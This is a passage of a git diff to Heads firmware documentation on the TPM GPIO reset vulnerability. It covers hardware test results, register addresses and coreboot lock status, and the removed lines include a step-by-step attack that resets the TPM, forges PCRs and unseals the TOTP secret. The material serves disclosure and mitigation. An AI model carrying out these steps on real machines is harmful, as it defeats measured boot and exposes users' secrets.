2>/dev/null | xxd -p -# Returns: 03020100 (LE for 0x00010203) -``` +**What we did:** Analyzed chipsec source code to understand its PCR MMIO access +path and `tpm_gpio_fail` module decision tree. -**Result on NV4x:** -- PADCFGLOCK = 0x00010203 -- bit 13 (GPP_B13) is NOT set (bit 13 = 0x2000, - register has 0x00010203 = bits 0, 8, 17 set for other pads). -- PADCFGLOCKTX = 0x00000000 -- no pads have TX state locked. -- Both registers readable (not blocked by kernel). +**Key finding:** chipsec uses the same hardcoded SBREG_BAR=0xFD000000 and the same +`dd`-style mmap via `/dev/mem`. chipsec would confirm "write succeeded" on NV4x +using the same LE byte readback check we use. chipsec's SBI write solution +(solution 5) was not tested -- P2SB is MASKLOCK'd (see Approach 3). + +### Approach 5: PADCFGLOCK / PADCFGLOCKTX Check -**Bit 17 analysis:** Bit 17 in PADCFGLOCK dword 0 corresponds to GPP_A17 or -GPP_B17 (depending on community). The fact that bit 17 is locked while bit 13 -(GPP_B13, our target) is NOT locked was observed but not analyzed. This may -indicate platform-specific lock assignments beyond what coreboot GPIO community -tables document. +**What we did:** Read PADCFGLOCK at 0xFD6E0080 to verify whether lock bits +blocked our writes. -**Why it didn't help:** -The lock registers confirmed what we already suspected: the pad is NOT locked. -This rules out "lock prevented write" as a failure mode. The pad write was -successfully verified by readback. The mechanism itself simply does not work -on ADL-P. +**Result on NV4x:** PADCFGLOCK=0x00010203 (bits 0, 8, 17 set; bit 13/GPP_B13 NOT +set). PADCFGLOCKTX=0x00000000. Pad is NOT locked. + +See `check_lock_registers()` in `initrd/bin/tpm-gpio-reset-demo.sh` for +per-platform PADCFGLOCK/PADCFGLOCKTX address calculation and the +`_get_lock_base()` helper for lock offset mapping (lines 853-866). ### Approach 6: NF1 Mode Forcing (GPIO → NF1 → GPIO+TX=0) @@ -370,49 +226,24 @@ mode. Attempted to force NF1 mode first by writing 0x40000401 (NF1 + TX=deassert ### Approach 7: TX Bit Toggle (TX=1 → TX=0 When Mode Bits Locked) -**What we did:** -When mode bits [13:10] are hardware-locked, the pad stays in GPIO mode. But the -TX bit (bit 0 of DW0) may still be writable. Toggling TX high→low creates a -falling edge on the pad output — PLTRST# is active-low, so any high→low -transition should assert the reset: - -1. Write 0x80000001 (GPIO mode, TX=1, PLTRST reset domain) — drive pad high. -2. Wait 100ms. -3. Write 0x80000000 (GPIO mode, TX=0) — drive pad low, creating falling edge. +**What we did:** Since mode bits [13:10] are locked, tried toggling only the TX bit +(write 0x80000001 → 0x80000000) to create a falling edge on the pad output. -**Result on NV4x (ADL-P):** -- TX=1 write (0x80000001): readback **0x03000080**, TX=0. Anomalous. - PADCFGLOCKTX=0x00000000 (unlocked per coreboot docs — TX should be writable). - However the readback 0x03000080 has bits 7, 24, 25 set — these do not map to - any defined DW0 register field on ADL-P. May be a PCR sideband read artifact. -- TX=0 write (0x80000000): readback 0x00000080, verified. -- `/sys/class/tpm/tpm0/pcrs` **NOT FOUND** — no bus reset detected. -- **Cannot definitively confirm TX locking.** Inconclusive without physical scope. +**Result on NV4x (ADL-P):** TX=1 write readback was 0x03000080 (anomalous -- bits +7, 24, 25 set but TX=0). TX=0 write verified. PADCFGLOCKTX=0x00000000 (unlocked). +`/sys/class/tpm/tpm0/pcrs` NOT FOUND. Inconclusive without physical scope. ### Approach 8: kukrimate sysfs PCR Verification -**What we did:** -kukrimate's PoC verifies PCRs via `/sys/class/tpm/tpm0/pcrs` (world-readable -sysfs file), not `tpm2 pcrread`. The sysfs pcrs file only appears after the -kernel TPM driver completes `tpm2_auto_startup()`, which runs when the driver -detects a bus reset. If sysfs pcrs is present, the kernel saw a reset. +**What we did:** Used `/sys/class/tpm/tpm0/pcrs` (kukrimate's PCR verification +method) instead of `tpm2 pcrread`. The sysfs pcrs file only appears after the +kernel TPM driver detects a bus reset via `tpm2_auto_startup()`. -**Result on NV4x (ADL-P):** -- `/sys/class/tpm/tpm0/pcrs` **NOT FOUND** after GPIO assertion. -- `tpm2 startup -c` succeeds regardless (manual startup after `tpmr.sh shutdown`). -- `tpmr.sh startsession` recreates encrypted sessions on manually-started TPM. -- `tpm2 pcrread sha256` (all-PCR) hangs; `tpm2 pcrread sha256:0` (single-PCR) - sometimes succeeds, sometimes hangs — inconsistent `/dev/tpm0` access after - manual startup. - -**Conclusion (also verified by the script's 4h check):** The kernel TPM driver -did NOT detect a bus reset (`/sys/class/tpm/tpm0/pcrs` absent after GPIO toggle). -PCR clearing observed in test runs is from `tpm2 startup -c` alone (the first -startup after `tpmr.sh shutdown` is a valid CLEAR startup per TCG spec, TPM -2.0 Part 1 Section 12.2.3.2). Whether PLTRST# was ever pulsed is -indistinguishable from software diagnostics. The script now reports this -distinction explicitly in step 4h: bus reset CONFIRMED vs software-only -startup ("PLTRST# NOT confirmed"). +**Result on NV4x (ADL-P):** `/sys/class/tpm/tpm0/pcrs` NOT FOUND after GPIO +assertion. `tpm2 startup -c` succeeds, `tpmr.sh startsession` succeeds, but all +PCR clearing is from `TPM2_Startup(CLEAR)` alone per TCG 2.0 Part 1 Section +12.2.3.2. The kernel driver detected no bus reset. See `post_assertion_cleanup()` +in the script for the sysfs pcrs check logic (lines 1216-1233). --- @@ -420,65 +251,27 @@ startup ("PLTRST# NOT confirmed"). ### 3.1 P2SB SBI Write -**What it would involve:** -1. Unhide P2SB by clearing the HIDE bit (bit 0) at BCTRL register (offset 0xe0). -2. If MASKLOCK'd (bit 8 = 1), this is impossible without firmware modification. -3. Once unhidden, send an SBI message to write the pad config register through - the sideband interface rather than MMIO. - -**Why we didn't attempt:** -P2SB is likely MASKLOCK'd by FSP-S on ADL-P. There is no documented path to -unlock it from userspace. Even modifying the coreboot build to skip the -MASKLOCK (Dasharo fork) would not help for a runtime PoC -- you'd need a -custom firmware build, which defeats the purpose of demonstrating a no-physical- -access attack. +Would require unhiding P2SB (MASKLOCK'd by FSP-S on ADL-P) and sending +sideband messages through undocumented Intel NDA protocols. Not feasible +without custom firmware. ### 3.2 CF9 Reset -**What it would involve:** -Writing to I/O port 0xCF9 to trigger a full platform reset: -```c -outb(0x06, 0xCF9); // Full reset (CPU + chipset) -``` - -**Why we didn't attempt:** -CF9 reset reboots the entire system. The TPM would also reset, but so would -the CPU and chipset, losing kernel state. The attack requires the attacker's -code to survive the reset (for PCR replay), which CF9 reset prevents. - -A more targeted variant would be a "warm reset" via CF9 (0x04 or 0x0E), but -this still reboots the platform, and there's no guarantee the TPM would reset -independently of the CPU. +Writing to I/O port 0xCF9 reboots the entire system (CPU + chipset), losing +kernel state. The attack requires attacker code to survive the reset for PCR +replay, which CF9 reset prevents. ### 3.3 Custom Dasharo Build with GPIO Locking Disabled -**What it would involve:** -Modifying the Dasharo board file for NV4x to explicitly disable GPIO pad -locking (remove any `PAD_CFG_LOCK` entries), build a custom firmware image, -flash it, and retest. - -**Why we didn't attempt:** GPIO locking is already non-functional on NV4x (see Section 1.4). Disabling -what isn't working won't help. The issue is that even with an UNLOCKED pad, -the GPIO toggle does NOT assert PLTRST#. A custom firmware build would not -change the pad's electrical behavior or the PCH's internal routing of -PLTRST#. +what doesn't work won't help -- the issue is the PLTRST# routing inside the +PCH die, not a lock bit. ### 3.4 C mmap Test Program -**What it would involve:** -Writing a small C program that: -1. Opens `/dev/mem`. -2. `mmap`s the physical address of GPP_B13 DW0. -3. Reads/writes via volatile pointer dereference (no `dd`/`printf` overhead). -4. Checks PCRs after toggle. - -**Why we didn't attempt:** -The BusyBox shell `dd`/`printf` approach we use has been verified to work -correctly (write readback confirms the register changed). There is no evidence -that a C mmap program would produce a different electrical result. The -register write is atomic (4-byte aligned) and the readback matches. The -mechanism barrier is architectural, not a tooling limitation. +A C mmap program would not produce different electrical results -- the +register write is verified atomic at the MMIO bus level by readback. The +mechanism barrier is PCH-internal routing, not a tooling limitation. --- @@ -486,34 +279,17 @@ mechanism barrier is architectural, not a tooling limitation. ### 4.1 Whether the Mechanism Works on Other Platform Families -The PLTRST# assertion has been demonstrated working on SPT/KBP (T480, Kaby Lake) -by the original researcher. The mechanism was believed to work on T480s -(originally thought to be CNP-H, now identified as CNP-LP 0x9d84) based on -pad documentation, though we have not tested this ourselves. - -For **ADL-S/RPL-S desktop** (MSI Z790-P DDR5, etc.), the platform has the same -PCH die architecture but uses a different PCR port (0x6d) and lock offset (0x110). -It is unknown whether GPIO pad toggling asserts PLTRST# on these platforms. -Desktop PCH implementations may route PLTRST# differently. - -For **CNP-LP** (T480s, T490, X390), the GPP_B13 pad is in GPIO community 0 -(port 0x6e) at local index 38, offset 0x600 (+38*16 = 0x260). DW0 address: 0xFD6E0860. -No PADCFGLOCK register exists (pad_cfg_lock_offset=0). **UNTESTED** -- no hardware -verification. kukri's PoC does not support this PCH family. Community testing needed. +See `doc/TPM_GPIO_Reset_Vulnerability.md` section "Per-Platform Feasibility" +for the known status of each PCH generation. The open question is whether the +GPIO pad toggling actually asserts PLTRST# on platforms beyond SPT/KBP +(the only family confirmed working by kukrimate). Desktop PCH implementations +(ADL-S/RPL-S, PCR port 0x6d) may route PLTRST# differently. CNP-LP (T480s) +is UNTESTED. ### 4.2 Whether C mmap Would Behave Differently -A C program using `mmap` + volatile pointer dereference would eliminate any -potential issues from: -- BusyBox `dd` 4-byte alignment (we already handle this correctly). -- Shell variable overflow on 64-bit addresses (we use hardcoded 32-bit bases). -- Timing between write and restore (we already have a 1s delay). - -However, there is no reason to believe a C program would produce a different -hardware result. The register write is verified as correct at the MMIO bus -level (readback confirms). If the register write changes the pad mode but -doesn't trigger a TPM GPIO reset, the mechanism is broken at the PCH routing -layer, not at the software access layer. +See Section 3.4. The register write is verified atomic at the MMIO bus level +by readback; a C mmap program is not expected to change the electrical result. ### 4.3 Whether P2SB SBI Write Would Bypass the Blocking Mechanism @@ -613,52 +389,16 @@ the mechanism doesn't work on this PCH die. ### 5.6 TCG Specification Guarantees Underlying the Attack -The attack's scope is defined by the TCG TPM 2.0 Library specification, -Part 1 (Architecture): -- **Section 4**: Definitions of volatile (4.90), non-volatile (4.35), and - transient (4.87) resources -- **Section 12.2.3.2**: TPM Reset startup type — PCRs clear, NV indices persist -- **Section 37**: NV Memory persistence categories (ORDERLY, CLEAR, RESET) -The PLTRST# signal itself is Intel PCH-specific, not a TCG concept. A GPIO -reset triggers platform-level TPM reset equivalent to `TPM2_Startup(CLEAR)`. - -**Volatile (cleared on platform-level TPM reset):** -- PCRs 0-23 reset to all-zero (`TPM_PT_PS_REVISION`). -- HMAC sessions and transient objects destroyed. - -**Non-volatile (preserved across reset — Section 37):** -- Sealed data objects (NVRAM indices) persist -- the attacker does not need - to re-seal. -- Persistent key handles (e.g. 0x81000000) survive. -- NVRAM auth values are preserved. - -**Why TOTP/HOTP is extractable but DUK is not:** -- TOTP/HOTP secret at NVRAM index 0x4d47 was sealed with an **empty auth value** - (`seal-totp.sh` line 66). After PCR replay, `tpm2_unseal` succeeds with no - passphrase required. -- DUK at NVRAM index 3 was sealed with a **user passphrase** (`kexec-seal-key.sh` - line 309 passes `$key_password`). The attacker must provide this passphrase - even after PCR replay -- `TPM2_Unseal` requires both matching PCRs AND the - correct auth value per TCG 2.0 Part 1 Section 27.2.6 (Unseal command). +See `doc/TPM_GPIO_Reset_Vulnerability.md` section "TPM Reset Scope (per TCG +Specification)" for the full TCG 2.0 Part 1 citations (Sections 4, 12.2.3.2, +27.2.6, 37), volatile vs non-volatile persistence, and the TOTP/HOTP vs DUK +unseal requirements. ### 5.7 Mitigations -The attack surface can be reduced by: - -**Authenticated recovery shell access**: The primary attack vector on Heads -systems is the recovery shell. Configuring GPG authentication -(`CONFIG_BOOT_RECOVERY_GPG=`) prevents an unauthenticated attacker from -reading `cbmem -L` and `/tmp/measuring_trace.log`, which are needed to -forge PCR state. - -**Firmware backup and integrity checks**: An attacker with physical access -can dump the SPI ROM and compute CBFS hashes offline. Regular external -verification of ROM dumps against known-good hashes detects this kind of -tampering. - -**TPM DUK with passphrase**: The DUK requires a user passphrase and is not -extractable via GPIO reset. A strong DUK passphrase protects disk encryption -even after TOTP/HOTP secret compromise. +See `doc/TPM_GPIO_Reset_Vulnerability.md` section "Mitigations" for the +complete list: authenticated recovery shell, firmware integrity verification, +and TPM DUK with passphrase. --- @@ -695,10 +435,8 @@ pcrs # Or: tpm2 pcrread ### 6.1 CNP-LP Testing (ThinkPad T480s, T490, T495, X390) -**Platform details:** -- PCH: Cannon Point LP (CNP-LP), device ID 0x9d84. -- GPP_B13 pad: COMM_0 (port 0x6e), local pad index 38. -- Register address: 0xFD6E0860 (with PCR_BASE = 0xFD000000). +See `initrd/bin/tpm-gpio-reset-demo.sh` header comments (lines 46-58) and +`detect_platform()` for register addresses. CNP-LP device IDs are 0x9d84-0x9d8f. **What to test:** 1. Run `./tpm-gpio-reset-demo.sh --execute`. @@ -713,10 +451,8 @@ pcrs # Or: tpm2 pcrread ### 6.2 SPT/KBP Testing (ThinkPad T480, T470, X270, M900 Tiny, T460, X260) -**Platform details:** -- PCH: Sunrise Point (SPT, Skylake) or Kaby Point (KBP, Kaby Lake). -- GPP_B13 pad: COMM_0 (port 0xaf), local pad index 13. -- Register address: 0xFDAF0528 (community base + PAD_CFG_BASE + 37*8 = 2 DWORDS per pad). +Register addresses: see the script's `detect_platform()` and `calculate_registers()`. +SPT/KBP uses PCR port 0xaf, PAD_CFG_BASE=0x400, 2 DWORDS (8 bytes) per pad. **Status: CONFIRMED WORKING** by kukrimate on T480 (KBL). @@ -727,10 +463,8 @@ pcrs # Or: tpm2 pcrread ### 6.3 ADL-S Desktop Testing (Desktop 12th gen) -**Platform details:** -- PCH: Alder Point (ADL-S), device IDs 0x7a80-0x7a8c. -- GPP_B13 pad: COMM_1 (port 0x6d), local pad index 13. -- Register address: 0xE06D07D0 (with PCR_BASE = 0xE0000000). +Register addresses: see the script's `detect_platform()` and `calculate_registers()`. +ADL-S device IDs are 0x7a80-0x7a8c, PCR port 0x6d, PAD_CFG_BASE=0x700. **What to test:** 1. Run `./tpm-gpio-reset-demo.sh --execute`. @@ -746,14 +480,11 @@ attack because it doesn't use a discrete TPM chip. ### 6.4 RPL-S Desktop Testing (MSI Z790-P DDR5, etc.) -**Platform details:** -- PCH: Raptor Point (RPL-S), device IDs 0x7a0c-0x7a17. -- GPP_B13 pad: COMM_1 (port 0x6d), local pad index 13. -- Register address: 0xE06D07D0 (with PCR_BASE = 0xE0000000). +Register addresses: see the script's `detect_platform()` and `calculate_registers()`. +RPL-S device IDs are 0x7a0c-0x7a17, PCR port 0x6d, PAD_CFG_BASE=0x700. -**Status: UNKNOWN.** Dasharo fork for MSI Z790-P DDR5 has -`SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` selected and `pad_cfg_lock_offset` -populated, but no board GPIO tables use `PAD_CFG_LOCK`. If the test shows the +**Status: UNKNOWN.** See `doc/TPM_GPIO_Reset_Vulnerability.md` per-platform +feasibility table for Dasharo fork configuration details. If the test shows the toggle DOES work, this would mean the pad is electrically connected differently than ADL-P mobile. @@ -824,77 +555,26 @@ force-unlocking all pads regardless of the board configuration. ## Appendix A: Key Register Addresses Reference -### ADL-P Mobile (NV4x, NS50) - -``` -PCR_BASE: 0xFD000000 -GPIO COM0 port: 0x6e -Community base: 0xFD6E0000 (= 0xFD000000 + (0x6e << 16)) -PAD_CFG_BASE: 0x700 -GPP_B13 pad: 13 -DW0 offset: 0x7D0 (= 0x700 + 13 * 16) -DW0 address: 0xFD6E07D0 (= 0xFD6E0000 + 0x7D0) -DW1 address: 0xFD6E07D4 -PADCFGLOCK: 0xFD6E0080 -PADCFGLOCKTX: 0xFD6E0084 -``` - -### ADL-S / RPL-S Desktop - -``` -PCR_BASE: 0xE0000000 -GPIO COM1 port: 0x6d -Community base: 0xE06D0000 (= 0xE0000000 + (0x6d << 16)) -PAD_CFG_BASE: 0x700 -GPP_B13 pad: 13 -DW0 offset: 0x7D0 (= 0x700 + 13 * 16) -DW0 address: 0xE06D07D0 -DW1 address: 0xE06D07D4 -PADCFGLOCK: 0xE06D0110 -PADCFGLOCKTX: 0xE06D0114 -``` - -### SPT / KBP (Skylake/Kaby Lake) - -SPT/KBP uses a different pad register layout than ADL. Each pad uses -**2 DWORDS (8 bytes)** per `skylake/gpio_defs.h` line 12 -(`GPIO_NUM_PAD_CFG_REGS 2`). The community base includes a port shift. +Per-platform register addresses (PCR_BASE, community base, DW0/DW1 address, +PADCFGLOCK/PADCFGLOCKTX) are the authoritative output of the script's +`calculate_registers()` function. See `initrd/bin/tpm-gpio-reset-demo.sh`: +- Header comments (lines 50-76): port, pad index, PAD_CFG_BASE, lock offset + per platform family. +- `detect_platform()` case statement (lines 260-368): PCI device ID to + platform parameter mapping. +- `calculate_registers()` (lines 533-620): full address computation from + PCR_BASE, community port, pad index, and PAD_CFG_BASE. -``` -PCR_BASE: 0xFD000000 -GPIO COM0 port: 0xaf -Community base: 0xFDAF0000 (= 0xFD000000 + (0xaf << 16)) -PAD_CFG_BASE: 0x400 -PAD_REG_SIZE: 8 (2 DWORDS per pad) -GPP_B13: global pad 37, local index 13 within GROUP_B (GPP_A=0-23, GPP_B=24+13) -DW0 offset: 0x528 (= 0x400 + 37 * 8) -DW0 address: 0xFDAF0528 (= 0xFDAF0000 + 0x528) -DW1 address: 0xFDAF052C -PADCFGLOCK: 0xFDAF0080 -PADCFGLOCKTX: 0xFDAF0084 -``` - -### CNP-LP (Cannon Point LP, T480s) - -``` -PCR_BASE: 0xFD000000 -GPIO COM0 port: 0x6e -Community base: 0xFD6E0000 -PAD_CFG_BASE: 0x600 -GPP_B13: local pad 38 (COMM_0, GPP_A0=0, GPP_B13=38) -DW0 offset: 0x860 (= 0x600 + 38 * 16) -DW0 address: 0xFD6E0860 -``` - -**UNTESTED** -- no hardware verification. kukri's PoC does not support this PCH family. - -### ADL-P PADCFGLOCK Registers (Readings from NV4x) +### ADL-P PADCFGLOCK Readings from NV4x | Register | Address | Value (LE) | Value (decoded) | |---|---|---|---| | PADCFGLOCK | 0xFD6E0080 | 0x00010203 | Bits 0, 8, 17 set (not GPP_B13) | | PADCFGLOCKTX | 0xFD6E0084 | 0x00000000 | No TX locked pads | +CNP-LP remains **UNTESTED** -- no hardware verification. kukri's PoC does not +support this PCH family. + --- ## Appendix B: Script Output Reference diff --git a/doc/TPM_GPIO_Reset_Vulnerability.md b/doc/TPM_GPIO_Reset_Vulnerability.md index 44bd7395d..78346ac7c 100644 --- a/doc/TPM_GPIO_Reset_Vulnerability.md +++ b/doc/TPM_GPIO_Reset_Vulnerability.md @@ -2,39 +2,19 @@ ## Summary -On Intel platforms, discrete TPMs connect to the PCH via LPC, eSPI, or SPI. -On Skylake and newer platforms, these buses share a reset pin (PLTRST#) on a -multi-function PCH pad that can be reprogrammed to GPIO mode by software. An attacker with OS-level code execution can reassign -the pin to GPIO, briefly drive it low (resetting the TPM), restore it, then forge -arbitrary PCR measurements. No physical access is needed. - -This allows: -- Extracting disk encryption keys from TPM-based full-disk encryption schemes - that seal without a passphrase (e.g., Windows BitLocker without PIN, or Linux - LUKS sealed to PCRs without a TPM passphrase). -- Forging TPMTOTP/HOTP attestation codes to hide firmware tampering. -- Defeating Intel BootGuard measured boot by resetting PCRs after BootGuard has - extended its measurements. - -Disclosed by Mate Kukri, June 2024: . -No CVE was assigned by Intel. +On Intel Skylake+ platforms, discrete TPMs connect to the PCH via LPC/eSPI/SPI. These buses share a reset pin (PLTRST#) on a multi-function PCH pad that software can reprogram to GPIO mode. An attacker with OS-level code execution can reassign the pin to GPIO, briefly drive it low to trigger a TPM Reset (restart to power-on state: PCRs cleared, NVRAM preserved), restore it, then forge arbitrary PCR measurements — no physical access needed. -## Mitigation +This allows extracting disk encryption keys sealed without a passphrase (e.g., BitLocker without PIN, LUKS sealed to PCRs without passphrase), forging TPMTOTP/HOTP attestation codes, and defeating Intel BootGuard measured boot by resetting PCRs after BootGuard extends. + +Disclosed by Mate Kukri, June 2024: . No CVE assigned by Intel. -Intel PCHs include a GPIO pad configuration lock bit. When set by firmware before -booting the OS, the pad function (e.g., LPC/eSPI native mode) becomes read-only, -preventing the OS from reprogramming it to GPIO mode. The lock bit must be set by -platform firmware (coreboot, in Heads' case). +## Mitigation -Intel's NDA-only BIOS writer's guide includes guidance on when and how to set -these lock bits. The open-source community does not have access to this -documentation, making implementation and validation difficult for platforms where -the lock method is not already known from working vendor implementations. +Intel PCHs include a GPIO pad configuration lock bit. When set by firmware before boot, the pad function becomes read-only, preventing OS-level reprogramming. The lock must be set by platform firmware (coreboot, in Heads' case). Intel's NDA-only BIOS writer's guide documents these lock bits; the open-source community lacks this documentation, complicating implementation where the lock method is not known from working vendor implementations. ## coreboot GPIO Lock Status by Platform Generation -Source: coreboot source code in `src/soc/intel/`. Checked against coreboot 25.09 -and 26.06 upstream. +Source: coreboot source code in `src/soc/intel/`. Checked against coreboot 25.09 and 26.06 upstream. | Platform generation | GPIO lock status | Details | |---|---|---| @@ -45,9 +25,7 @@ and 26.06 upstream. | Alder Lake/Raptor Lake (12th-13th Gen) | **Functional** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` selected. `pad_cfg_lock_offset` populated in GPIO community structs. | | Meteor Lake+ (Core Ultra Series 1+) | **Not functional** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` selected and `pad_cfg_lock_offset` populated, but no board GPIO tables use `PAD_CFG_LOCK` macros -- zero pads actually locked. FSP also sets `PchUnlockGpioPads=1` on MTL, force-unlocking all pads. | -The SMM-based lock path (`SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS`) is selected -by **no** platform in coreboot upstream — the SMI finalize handler for GPIO -locking is dead code. +The SMM-based lock path (`SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS`) is selected by **no** platform in coreboot upstream — the SMI finalize handler for GPIO locking is dead code. ### Kconfig selection coverage @@ -60,176 +38,71 @@ src/soc/intel/pantherlake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USIN src/soc/intel/novalake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR ``` -All other `soc/intel/*` platforms do not select either option. Attempts to -backport the lock to Skylake via the PCR method (CL #90885) did not work on -real hardware — the lock bits are not actually set despite the code executing. +All other `soc/intel/*` platforms do not select either option. Attempts to backport the lock to Skylake via the PCR method (CL #90885) did not work on real hardware — the lock bits are not actually set despite the code executing. ### Code paths -**Non-SMM path** (`gpio_non_smm_lock_pad()` in `src/soc/intel/common/block/gpio/gpio.c`): -Called from ramstage when `gpio_configure_pads()` processes pads with the -`PAD_CFG_LOCK` attribute. Requires either `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` -or `_USING_SBI` to be selected. Without either, prints: -`"Error: No pad configuration lock method is selected!"` and returns without -locking anything. +**Non-SMM path** (`gpio_non_smm_lock_pad()` in `src/soc/intel/common/block/gpio/gpio.c`): Called from ramstage when `gpio_configure_pads()` processes pads with `PAD_CFG_LOCK`. Requires either `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` or `_USING_SBI`. Without either, prints `"Error: No pad configuration lock method is selected!"` and returns without locking. -**SMM path** (`gpio_lock_pads()`): -Only available when `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` is selected -(no platform selects this). Always uses SBI for register access. Would be -invoked from the finalize SMI handler, but that also requires a platform-specific -`soc_gpio_lock_config()` override to specify which pads to lock — no platform -overrides the weak default which returns nothing. +**SMM path** (`gpio_lock_pads()`): Only available when `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` is selected (no platform selects this). Always uses SBI. Would be invoked from the finalize SMI handler, but requires a platform-specific `soc_gpio_lock_config()` override specifying which pads to lock — the weak default returns nothing. ## Attack Feasibility ### Prerequisites -An attacker needs the following to exploit the TPM GPIO reset vulnerability on Heads: - -- **OS-level code execution on the target**: Obtained via dual-boot, USB boot with brief physical access, or malware. -- **Access to measurement logs**: The attacker needs both coreboot and Heads measurement logs because TPMTOTP is sealed with PCRs from both sources — PCR 2 from coreboot SRTM and PCRs 4, 7 from Heads measurements. - - **`cbmem -L` (coreboot event log)**: Contains every coreboot firmware measurement extend performed during the boot process, sequenced as bootblock -> romstage -> ramstage -> payload (Heads kernel + initrd hashes). Each log entry includes a cryptographic digest (SHA-256 on TPM 2.0, SHA-1 on TPM 1.2) that can be passed to the TPM extend command. Available to any OS with root access by running `cbmem -L`; the attacker can obtain this after gaining code execution via dual-boot, USB stick, or malware. The output format includes either SHA-256 or SHA-1 hashes depending on the TPM version. - - **`/tmp/measuring_trace.log` (Heads initrd measurement log)**: Records each CBFS file measurement extended into PCR 7 (two sequential TPM extends: first the filename string, then the file content) and boot path extends into PCR 4 ("generic", "usb", or "recovery"). The log is human-readable `INFO()` output from `tpmr.sh extend` calls — an attacker must grep for lines matching `"Extending PCR"` to extract extend sequences. The log lives in tmpfs RAM and is volatile across reboots, but can be obtained by an attacker in two ways: - 1. **Recovery shell**: Booting into the Heads recovery console and reading `/tmp/measuring_trace.log` — the file exists in any running Heads session and can be dumped to persistent storage or exfiltrated. - 2. **ROM extraction**: The CBFS files that get extended into PCR 7 are stored in the ROM image. An attacker can dump the ROM externally with a SPI programmer, then list CBFS files with `cbfstool` and compute hashes offline by replaying the same two-step TPM extend sequence used by `cbfs-init.sh`: first hashing the filename string (SHA-256 on TPM 2.0, SHA-1 on TPM 1.2), then hashing the file content. PCR 4 is deterministic from the boot path ("generic", "usb", or "recovery") and can be computed without the log. Note: on UEFI boards, `uefi-init.sh` does only a single extend of file content (no filename prefix). -- **Knowledge of the platform PLTRST pad definition**: GPIO pad number, community, and register offset for the target PCH. -- **Platform restrictions**: The attack only works on Skylake through Tiger Lake platforms where GPIO lock is not functional. Pre-Skylake platforms use a dedicated PLTRST# pin and are not vulnerable. Meteor Lake+ is not vulnerable because GPIO PLTRST# assertion does not apply to LPC-connected TPMs on this platform, not because GPIO lock is functional -- the PCR lock infrastructure is compiled but no board pads are configured with lock actions, and FSP force-unlocks all pads via `PchUnlockGpioPads=1`. - -### Attack Steps - -1. **Gain code execution** on the target (dual-boot, USB stick, or malware). On a - Heads system, this means booting into the Heads recovery shell (if - unauthenticated — recovery shell access is the primary attack vector). -2. **Boot into the Heads recovery shell** (if not already in a privileged - environment). From the recovery shell, the attacker can read: - - `cbmem -L` — coreboot event log with PCR 2 extend operations - - `/tmp/measuring_trace.log` — Heads initrd extend operations for PCRs 4,5,7 - (this log exists in the running initrd until reboot clears tmpfs) -3. **Read `/tmp/measuring_trace.log`** (if available) to obtain the Heads PCR 4 - and PCR 7 extend sequences. If the log is not available, PCR 4 can be - recomputed from the boot path and PCR 7 requires replaying the same two-step - extend sequence as `cbfs-init.sh` (filename string then file content), which - can be computed from the ROM image. -4. **Locate the PLTRST pad** via `/dev/mem` and reprogram it from native function (LPC/eSPI/SPI) to GPIO output mode. -5. **Drive the pad low for approximately 10 ms**, asserting a hardware reset of the discrete TPM. This clears all PCRs to their initial value (typically zero) while preserving NVRAM contents. -6. **Drive the pad high** to deassert reset, allowing the TPM to reinitialize. -7. **Replay PCR extends in the correct order** using `tpm2_pcrextend`: - - **PCR 2**: The coreboot SRTM measurements from `cbmem -L`. Each log entry includes a cryptographic digest that can be passed to the TPM extend command (e.g., `tpm2_pcrextend -ix 2 -ic ` on TPM 2.0, or equivalent on TPM 1.2). - - **PCR 7**: Each CBFS file is measured by `cbfs-init.sh` with two sequential TPM extends: first the filename string, then the file content. If `/tmp/measuring_trace.log` is available, the extend hashes are logged there (look for `"Extending PCR[7]"` lines). Otherwise, the attacker can extract the ROM image, list CBFS files with `cbfstool`, and replay the extend sequence offline: hash the filename string (SHA-256 on TPM 2.0, SHA-1 on TPM 1.2), extend it, then hash the file content and extend that. Note: on UEFI boards, `uefi-init.sh` does only a single extend of file content (no filename prefix). - - **PCR 4**: Extends one of "generic" (normal boot), "usb" (USB boot), or "recovery" (recovery shell). Deterministic from the boot path — no measurement log needed. - - **PCRs 0, 1, 3**: Always zero on standard Heads boards — no extends needed. - - **Note on PCR 0**: Even if PCR 0 were extended (e.g., via BootGuard measured boot), it would NOT protect against TPM GPIO reset: per the TCG PC Client TIS specification, PCRs 0-15 have pcrExtendLocal = 1,1,1,1,1 — extendable from ALL localities including locality 0. After a TPM GPIO reset, an attacker can extend PCR 0 from locality 0 to any desired forged value. Intel's claim in doc 834810 that PCR 0 is a software mitigation is inaccurate for this attack vector. -8. **Call `tpm2_unseal`** on NVRAM index `0x4d47` (TOTP/HOTP key). The unseal succeeds because PCR values match the expected state and no passphrase protects this index. -9. **Extract the 20-byte TOTP/HOTP shared secret** from the unsealed data. -10. **Optionally restore the original pad configuration** to hide traces of the attack. - -**Technical note on the 0x80000000 write mechanism:** The 0x80000000 write is a **mode transition**: it switches the PLTRST# pad from native function (NF1, driven by the PCH's LPC/eSPI controller) to GPIO output mode with TX=0 (driven low). The falling edge on the physical pin is what the TPM interprets as a reset pulse. The PADRSTCFG bits [31:30]=10 (PLTRST reset domain) configure the pad config register's own reset source, not the output signal. Writing 0x80000000 does NOT "assert" PLTRST# as a single action — it is the NF1->GPIO transition that creates the voltage edge. - -### Attack Scope per TCG Specification - -The TPM GPIO reset attack's scope is defined by the TCG TPM 2.0 Library -specification, Part 1 (Architecture): -- **Section 4**: Definitions of volatile (4.90), non-volatile (4.35), and - transient (4.87) resources -- **Section 12.2.3.2**: TPM Reset, Restart, and Resume startup types — - defines which objects survive each reset level -- **Section 37**: NV Memory persistence categories (ORDERLY, CLEAR, RESET) -The PLTRST# signal itself is platform-specific (Intel PCH), not defined by -the TCG specification. A GPIO reset triggers a platform-level TPM 